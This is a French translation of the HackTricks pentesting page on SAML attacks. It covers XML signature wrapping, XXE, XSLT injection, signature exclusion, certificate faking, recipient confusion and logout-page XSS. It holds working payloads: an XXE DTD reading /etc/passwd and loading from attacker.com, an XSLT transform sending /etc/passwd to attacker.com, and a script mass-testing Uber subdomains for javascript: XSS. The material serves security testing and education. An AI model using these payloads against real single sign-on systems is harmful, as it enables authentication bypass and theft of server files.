Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/saml-attacks
History
Translator bcc2f9f663 Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',
2024-02-09 08:11:01 +00:00
..
README.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:11:01 +00:00
saml-basics.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:11:01 +00:00

README.md

Attaques SAML

Attaques SAML

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Outil

SAMLExtractor : Un outil qui peut prendre une URL ou une liste d'URL et renvoyer l'URL de consommation SAML.

Aller-retour XML

En XML, la partie signée de l'XML est enregistrée en mémoire, puis un encodage/décodage est effectué et la signature est vérifiée. Idéalement, cet encodage/décodage ne devrait pas modifier les données, mais dans ce scénario, les données vérifiées et les données originales pourraient ne pas être les mêmes.

Par exemple, vérifiez le code suivant :

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

L'exécution du programme contre REXML 3.2.4 ou une version antérieure donnerait plutôt le résultat suivant :

First child in original doc: Y
First child after round-trip: Z

Voici comment REXML a vu le document XML original du programme ci-dessus :

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Et voici comment il l'a vu après une série d'analyses et de sérialisation :

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Pour plus d'informations sur la vulnérabilité et comment l'exploiter :

Attaques d'Enveloppement de Signature XML

Dans les attaques d'enveloppement de signature XML (XSW), les adversaires exploitent une vulnérabilité qui survient lorsque des documents XML sont traités en deux phases distinctes : validation de signature et appel de fonction. Ces attaques impliquent la modification de la structure du document XML. Plus précisément, l'attaquant injecte des éléments forgés qui ne compromettent pas la validité de la signature XML. Cette manipulation vise à créer une divergence entre les éléments analysés par la logique de l'application et ceux vérifiés par le module de vérification de signature. Ainsi, bien que la signature XML reste techniquement valide et passe la vérification, la logique de l'application traite les éléments frauduleux. Par conséquent, l'attaquant contourne efficacement la protection d'intégrité et l'authentification d'origine de la signature XML, permettant l'injection de contenu arbitraire sans détection.

Les attaques suivantes sont basées sur cet article de blog et cet article. Consultez-les pour plus de détails.

XSW #1

  • Stratégie : Un nouvel élément racine contenant la signature est ajouté.
  • Implication : Le validateur peut être confondu entre le "Response -> Assertion -> Subject" légitime et le "nouveau Response -> Assertion -> Subject" malveillant de l'attaquant, entraînant des problèmes d'intégrité des données.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Différence par rapport à XSW #1 : Utilise une signature détachée au lieu d'une signature enveloppante.
  • Implication : La structure "malveillante", similaire à XSW #1, vise à tromper la logique métier après la vérification de l'intégrité.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Stratégie : Une Assertion malveillante est créée au même niveau hiérarchique que l'assertion d'origine.
  • Implication : Vise à induire en erreur la logique métier pour utiliser les données malveillantes.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Différence par rapport à XSW #3 : L'Assertion d'origine devient un enfant de l'Assertion dupliquée (malveillante).
  • Implication : Similaire à XSW #3 mais modifie plus agressivement la structure XML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Aspect unique : Ni la Signature ni l'Assertion d'origine ne respectent les configurations standard (enveloppée/enveloppante/détachée).
  • Implication : L'Assertion copiée enveloppe la Signature, modifiant la structure du document attendue.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Stratégie : Insertion à un emplacement similaire à XSW #4 et #5, mais avec une touche.
  • Implication : L'Assertion copiée enveloppe la Signature, qui enveloppe ensuite l'Assertion d'origine, créant une structure trompeuse imbriquée.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Stratégie : Un élément Extensions est inséré avec l'Assertion copiée comme enfant.
  • Implication : Cela exploite le schéma moins restrictif de l'élément Extensions pour contourner les contre-mesures de validation de schéma, en particulier dans des bibliothèques comme OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Différence par rapport à XSW #7 : Utilise un autre élément XML moins restrictif pour une variante de l'attaque.
  • Implication : L'Assertion d'origine devient un enfant de l'élément moins restrictif, inversant la structure utilisée dans XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Outil

Vous pouvez utiliser l'extension Burp SAML Raider pour analyser la requête, appliquer l'attaque XSW de votre choix et la lancer.

XXE

Si vous ne savez pas quels types d'attaques sont les XXE, veuillez lire la page suivante :

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

Les réponses SAML sont des documents XML compressés et encodés en base64 et peuvent être vulnérables aux attaques d'entité externe XML (XXE). En manipulant la structure XML de la réponse SAML, les attaquants peuvent tenter d'exploiter les vulnérabilités XXE. Voici comment une telle attaque peut être visualisée :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Outils

Vous pouvez également utiliser l'extension Burp SAML Raider pour générer la POC à partir d'une requête SAML afin de tester les vulnérabilités XXE et les vulnérabilités SAML possibles.

Consultez également cette présentation : https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Pour plus d'informations sur XSLT, rendez-vous sur :

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Les Transformations de Langage de Feuille de Style Extensible (XSLT) peuvent être utilisées pour transformer des documents XML en différents formats tels que HTML, JSON ou PDF. Il est crucial de noter que les transformations XSLT sont effectuées avant la vérification de la signature numérique. Cela signifie qu'une attaque peut réussir même sans une signature valide ; une signature auto-signée ou invalide est suffisante pour continuer.

Vous pouvez trouver ici une POC pour vérifier ce type de vulnérabilités, sur la page hacktricks mentionnée au début de cette section, vous pouvez trouver des charges utiles.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Outil

Vous pouvez également utiliser l'extension Burp SAML Raider pour générer la POC à partir d'une requête SAML afin de tester les éventuelles vulnérabilités XSLT.

Consultez également cette présentation : https://www.youtube.com/watch?v=WHn-6xHL7mI

Exclusion de Signature XML

L'Exclusion de Signature XML observe le comportement des implémentations SAML lorsque l'élément Signature n'est pas présent. Si cet élément est manquant, la validation de la signature peut ne pas se produire, le rendant vulnérable. Il est possible de tester cela en modifiant les contenus qui sont généralement vérifiés par la signature.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Outil

Vous pouvez également utiliser l'extension Burp SAML Raider. Interceptez la réponse SAML et cliquez sur Remove Signatures. En faisant cela, tous les éléments de signature sont supprimés.

Avec les signatures supprimées, laissez la requête se poursuivre vers la cible. Si la signature n'est pas requise par le service.

Falsification de Certificat

La falsification de certificat est une technique pour tester si un Fournisseur de Services (SP) vérifie correctement qu'un Message SAML est signé par un Fournisseur d'Identité (IdP) de confiance. Cela implique l'utilisation d'un *certificat auto-signé pour signer la réponse ou l'assertion SAML, ce qui aide à évaluer le processus de validation de confiance entre le SP et l'IdP.

Comment Effectuer une Falsification de Certificat

Les étapes suivantes décrivent le processus en utilisant l'extension Burp SAML Raider :

  1. Interceptez la réponse SAML.
  2. Si la réponse contient une signature, envoyez le certificat à SAML Raider Certs en utilisant le bouton Send Certificate to SAML Raider Certs.
  3. Dans l'onglet Certificats de SAML Raider, sélectionnez le certificat importé et cliquez sur Save and Self-Sign pour créer un clone auto-signé du certificat d'origine.
  4. Revenez à la requête interceptée dans le Proxy de Burp. Sélectionnez le nouveau certificat auto-signé dans le menu déroulant Signature XML.
  5. Supprimez toutes les signatures existantes avec le bouton Remove Signatures.
  6. Signez le message ou l'assertion avec le nouveau certificat en utilisant le bouton (Re-)Sign Message ou (Re-)Sign Assertion, selon le cas.
  7. Transmettez le message signé. Une authentification réussie indique que le SP accepte les messages signés par votre certificat auto-signé, révélant des vulnérabilités potentielles dans le processus de validation des messages SAML.

Confusion du Destinataire du Jeton / Confusion de la Cible du Fournisseur de Services

La Confusion du Destinataire du Jeton et la Confusion de la Cible du Fournisseur de Services impliquent de vérifier si le Fournisseur de Services valide correctement le destinataire prévu d'une réponse. En essence, un Fournisseur de Services devrait rejeter une réponse d'authentification si elle était destinée à un autre fournisseur. L'élément critique ici est le champ Destinataire, trouvé dans l'élément SubjectConfirmationData d'une réponse SAML. Ce champ spécifie une URL indiquant où l'Assertion doit être envoyée. Si le destinataire réel ne correspond pas au Fournisseur de Services prévu, l'Assertion doit être considérée comme invalide.

Comment Cela Fonctionne

Pour qu'une attaque de Confusion du Destinataire du Jeton SAML (SAML-TRC) soit réalisable, certaines conditions doivent être remplies. Tout d'abord, il doit exister un compte valide sur un Fournisseur de Services (appelé SP-Légitime). Deuxièmement, le Fournisseur de Services ciblé (SP-Cible) doit accepter les jetons du même Fournisseur d'Identité qui sert SP-Légitime.

Le processus d'attaque est simple dans ces conditions. Une session authentique est initiée avec SP-Légitime via le Fournisseur d'Identité partagé. La réponse SAML du Fournisseur d'Identité à SP-Légitime est interceptée. Cette réponse SAML interceptée, initialement destinée à SP-Légitime, est ensuite redirigée vers SP-Cible. Le succès de cette attaque est mesuré par le fait que SP-Cible accepte l'Assertion, accordant l'accès aux ressources sous le même nom de compte utilisé pour SP-Légitime.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS dans la fonctionnalité de déconnexion

La recherche originale est accessible via ce lien.

Pendant le processus de force brute de répertoire, une page de déconnexion a été découverte à :

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Lors de l'accès à ce lien, une redirection s'est produite vers :

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Cela a révélé que le paramètre base accepte une URL. En tenant compte de cela, l'idée a émergé de substituer l'URL par javascript:alert(123); dans une tentative d'initier une attaque XSS (Cross-Site Scripting).

Exploitation de Masse

D'après cette recherche:

L'outil SAMLExtractor a été utilisé pour analyser les sous-domaines de uberinternal.com à la recherche de domaines utilisant la même bibliothèque. Par la suite, un script a été développé pour cibler la page oidauth/prompt. Ce script teste les XSS (Cross-Site Scripting) en entrant des données et en vérifiant si elles sont reflétées en sortie. Dans les cas où l'entrée est effectivement reflétée, le script signale la page comme vulnérable.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks: